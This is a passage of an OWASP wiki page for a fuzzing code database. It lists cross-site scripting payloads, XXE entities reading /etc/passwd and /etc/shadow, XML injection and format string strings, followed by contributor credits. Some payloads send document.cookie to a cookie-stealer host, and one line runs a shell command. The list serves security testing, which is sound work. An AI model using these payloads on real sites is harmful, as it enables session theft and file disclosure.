A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81139 2010-04-08T18:40:18Z

